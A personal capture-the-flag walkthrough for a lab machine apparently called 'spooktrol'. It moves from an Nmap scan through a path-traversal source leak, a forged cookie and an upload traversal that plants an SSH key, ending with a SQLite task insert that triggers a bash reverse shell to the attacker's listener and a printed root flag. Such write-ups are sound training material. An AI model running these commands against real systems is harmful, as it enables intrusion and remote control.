Starting Nmap 7.94 ( https://nmap.org ) at 2024-02-08 17:33 IST
Nmap scan report for 10.10.11.123
Host is up (0.085s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ea:84:21:a3:22:4a:7d:f9:b5:25:51:79:83:a4:f5:f2 (RSA)
| 256 b8:39:9e:f4:88:be:aa:01:73:2d:10:fb:44:7f:84:61 (ECDSA)
|_ 256 22:21:e9:f4:85:90:87:45:16:1f:73:36:41:ee:3b:32 (ED25519)
80/tcp open http uvicorn
|_http-title: Site doesn't have a title (application/json).
|_http-server-header: uvicorn
| http-robots.txt: 1 disallowed entry
|_/file_management/?file=implant
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 Not Found
| date: Thu, 08 Feb 2024 12:03:56 GMT
| server: uvicorn
| content-length: 22
| content-type: application/json
| Connection: close
| {"detail":"Not Found"}
| GetRequest:
| HTTP/1.1 200 OK
| date: Thu, 08 Feb 2024 12:03:44 GMT
| server: uvicorn
| content-length: 43
| content-type: application/json
| Connection: close
| {"auth":"1824da4c1193d94e95f28b659423cbc0"}
| HTTPOptions:
| HTTP/1.1 405 Method Not Allowed
| date: Thu, 08 Feb 2024 12:03:50 GMT
| server: uvicorn
| content-length: 31
| content-type: application/json
| Connection: close
|_ {"detail":"Method Not Allowed"}
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 16:77:76:8a:65:a3:db:23:11:21:66:6e:e4:c3:f2:32 (RSA)
| 256 61:92:eb:7a:a9:14:d7:60:51:00:0c:44:21:a2:61:08 (ECDSA)
|_ 256 75:c1:96:9c:69:aa:c8:74:ef:4f:72:bd:62:53:e9:4c (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94%I=7%D=2/8%Time=65C4C327%P=x86_64-pc-linux-gnu%r(GetRe
SF:quest,BB,"HTTP/1\.1\x20200\x20OK\r\ndate:\x20Thu,\x2008\x20Feb\x202024\
SF:x2012:03:44\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2043\r\nco
SF:ntent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"auth\
SF:":\"1824da4c1193d94e95f28b659423cbc0\"}")%r(HTTPOptions,BF,"HTTP/1\.1\x
SF:20405\x20Method\x20Not\x20Allowed\r\ndate:\x20Thu,\x2008\x20Feb\x202024
SF:\x2012:03:50\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2031\r\nc
SF:ontent-type:\x20application/json\r\nConnection:\x20close\r\n\r\n{\"deta
SF:il\":\"Method\x20Not\x20Allowed\"}")%r(FourOhFourRequest,AD,"HTTP/1\.1\
SF:x20404\x20Not\x20Found\r\ndate:\x20Thu,\x2008\x20Feb\x202024\x2012:03:5
SF:6\x20GMT\r\nserver:\x20uvicorn\r\ncontent-length:\x2022\r\ncontent-type
SF::\x20application/json\r\nConnection:\x20close\r\n\r\n{\"detail\":\"Not\
SF:x20Found\"}");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 69.56 seconds
/file_management/?file=implant
Its a binary
curl http://10.10.11.123/file_management/\?file\=implant -o implant
For some reasons I was not able to run the file.
Nmap says its uvicorn which is python so i ll fuzz for python files in .. directory
wfuzz -u '10.10.11.123/file_management/?file=../FUZZ.py' -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt --hc 500
➜ test curl http://10.10.11.123/file_management/\?file\=../server.py
import uvicorn
if __name__ == "__main__":
uvicorn.run("app.main:app", host="0.0.0.0", port=8000, reload=True)
It says there is app directory and inside it there is a main.py
main.py
from typing import Optional
from fastapi import File, UploadFile, Request
from fastapi import FastAPI
from fastapi.encoders import jsonable_encoder
from fastapi.responses import FileResponse, JSONResponse, PlainTextResponse
from random import randrange
import os, subprocess
import json
import uvicorn
import app.database
from urllib.parse import parse_qs
import app.models
from .database import SessionLocal, engine
from . import models, crud
app = FastAPI(docs_url=None, redoc_url=None, openapi_url=None)
models.Base.metadata.create_all(bind=engine)
@app.get("/")
def get_root(request: Request, hostname = "") -> dict:
"""
Lazy auth, return a number divisible by 42. Make it look like MD5Sum
"""
if 'Cookie' in request.headers:
auth = request.headers.get("Cookie")[5:]
# We are divisible by 42
if int(auth, 16) % 42 == 0 and hostname:
crud.create_user(SessionLocal(), auth, hostname)
crud.create_task(SessionLocal(), auth, 1, "whoami")
return { "task": 0 }
return { "auth": str(hex(randrange(511111111111111111111111111111111111,999999999999999999999999999999999999)*42)[2:]) }
@app.get("/robots.txt", response_class=PlainTextResponse)
def get_robots() -> str:
return "Disallow: /file_management/?file=implant\n"
@app.get("/poll")
def get_tasks(request: Request) -> dict:
if 'Cookie' in request.headers:
auth = request.headers.get("Cookie")[5:]
# We are divisible by 42
if int(auth, 16) % 42 == 0:
x = crud.implant_checkin(SessionLocal(), auth)
print(x)
return x
return { "task": 0 }
@app.post("/result")
async def update_task(request: Request) -> dict:
body = b''
async for chunk in request.stream():
body += chunk
x = parse_qs(body.decode())
task = x["id"][0]
result = x["result"][0]
crud.update_result(SessionLocal(), task, result)
return
@app.get("/file_management/")
async def download_file(file):
file_path = "files/" + file
return FileResponse(file_path)
@app.put("/file_upload/")
async def file_upload(request: Request, file: UploadFile = File(...)):
auth = request.headers.get("Cookie")[5:]
# We are divisible by 42
if int(auth, 16) % 42 != 0:
return JSONResponse(status_code=500, content={'message': 'Internal Server Error'})
try:
os.mkdir("files")
print(os.getcwd())
except Exception as e:
print(e)
file_name = os.getcwd() + "/files/" + file.filename.replace(" ", "-")
try:
with open(file_name,'wb+') as f:
f.write(file.file.read())
f.close()
except:
return JSONResponse(status_code=500, content={'message': 'Internal Server Error'})
return JSONResponse(status_code=200, content={'message': 'File upload successful /file_management/?file=' + file.filename.replace(" ", "-") })
The interesting part in this scrip it the put section which looks like a file upload vulnerability if we can set the right cookie
the cookie is checking for a decimal number whose hex should be 0 when done a modulous operation by 42.
I ll make a curl request using PUT and the right cookie
curl -H 'Cookie: auth=2a' -X PUT -F file=@/etc/passwd 10.10.11.123/file_upload --proxy 127.0.0.1:8080
I ll intercept this request.
Going to the given url I can access my /etc/passwd file on the server
Now i ll see if i can ../ here and upload a .ssh file
ssh-keygen -f root
I ll ssh in
I was not able to get a session on port 22 ssh, I ll try on port 2222.
Using the .dump command we can see that there is a command which runs every 2 minute
sqlite> .dump tasks
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE tasks (
id INTEGER NOT NULL,
target VARCHAR,
status INTEGER,
task INTEGER,
arg1 VARCHAR,
arg2 VARCHAR,
result VARCHAR,
PRIMARY KEY (id)
);
INSERT INTO tasks VALUES(1,'10a6dd5dde6094059db4d23d7710ae12',1,1,'whoami','',X'726f6f740a');
CREATE INDEX ix_tasks_id ON tasks (id);
COMMIT;
I ll Insert My command in the db with help of sqlite3 and hope for a reverse shell in 2 minutes.
INSERT INTO tasks VALUES(2,'10a6dd5dde6094059db4d23d7710ae12',0,1,'bash -c "bash -i >& /dev/tcp/10.10.14.19/9001 0>&1"','',X'726f6f740a');
sqlite>
In a minute I got a rev shell.
➜ app nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.14.19] from (UNKNOWN) [10.10.11.123] 35660
bash: cannot set terminal process group (16177): Inappropriate ioctl for device
bash: no job control in this shell
root@spooktrol:~# ls
ls
implant
iptables.sh
master
root.txt
root@spooktrol:~# cat root.txt
cat root.txt
ffd414d51671fd38b2a51ce71ca6a9ba
root@spooktrol:~#